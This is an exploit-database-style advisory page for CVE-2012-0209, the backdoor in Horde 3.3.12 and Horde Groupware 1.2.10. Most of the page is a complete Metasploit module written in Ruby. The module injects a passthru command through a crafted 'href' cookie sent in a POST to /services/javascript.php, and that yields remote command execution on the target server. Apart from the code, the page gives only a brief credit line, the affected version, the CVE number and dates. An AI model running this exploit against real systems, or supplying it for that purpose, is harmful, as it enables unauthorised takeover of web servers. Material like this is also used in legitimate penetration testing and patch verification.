Horde Backdoor Arbitrary PHP Code Execution Exploit

Summary

Horde 3.3.12 Backdoor Arbitrary suffers from PHP code execution vulnerability

Credit:

The information has been provided by Prabhu S Angadi.


Details

Vulnerable Systems:
 * Horde 3.3.12

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Horde 3.3.12 Backdoor Arbitrary PHP Code Execution’,
‘Description’ => %q{
This module exploits an arbitrary PHP code execution vulnerability introduced
as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
},
‘Author’ => [
‘Eric Romang’, # first public PoC
‘jduck’ # Metasploit module
],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[ ‘CVE’, ‘2012-0209’],
[ ‘URL’, ‘http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155’ ],
[ ‘URL’, ‘http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/’ ]
],
‘Privileged’ => false,
‘Payload’ =>
{
‘BadChars’ => ‘x0ax0d’,
‘DisableNops’ => true,
‘Space’ => 4096,
‘Compat’ =>
{
‘PayloadType’ => ‘cmd’,
}
},
‘Platform’ => [ ‘unix’, ‘linux’ ],
‘Arch’ => ARCH_CMD,
‘DefaultTarget’ => 0,
‘Targets’ => [[ ‘Automatic’, { }]],
‘DisclosureDate’ => ‘Feb 13 2012’
))

register_options(
[
OptString.new(‘URI’, [true, ‘Path to Horde installation’, ‘/horde’]),
OptString.new(‘APP’, [true, ‘App parameter required by javascript.php (must be active)’, ‘horde’]),
], self.class)
end

def exploit
# Make sure the URI begins with a slash
uri = datastore[‘URI’]
if uri[0,1] != ‘/’
uri = ‘/’ + uri
end

# Make sure the URI ends without a slash, because it’s already part of the URI
if uri[-1, 1] == ‘/’
uri = uri[0, uri.length-1]
end

function = ‘passthru’
key = Rex::Text.rand_text_alpha(6)
arguments = ‘echo #{key}`’+payload.raw+’`#{key}’

res = send_request_cgi({
‘uri’ => uri + ‘/services/javascript.php’,
‘method’ => ‘POST’,
‘ctype’ => ‘application/x-www-form-urlencoded’,
‘data’ => ‘app=’+datastore[‘APP’]+’&file=open_calendar.js’,
‘headers’ =>
{
‘Cookie’ => ‘href=’+function+’:’+arguments,
‘Connection’ => ‘Close’,
}
}) #default timeout, we don’t care about the response

if (res)
print_status(‘The server returned: #{res.code} #{res.message}’)
end

resp = res.body.split(key)
if resp and resp[1]
print_status(resp[1])
else
print_error(‘No response found’)
end

handler
end

end

CVE Information:
2012-0209

Disclosure Timeline:
Published: 2012-02-17

Categories: Exploits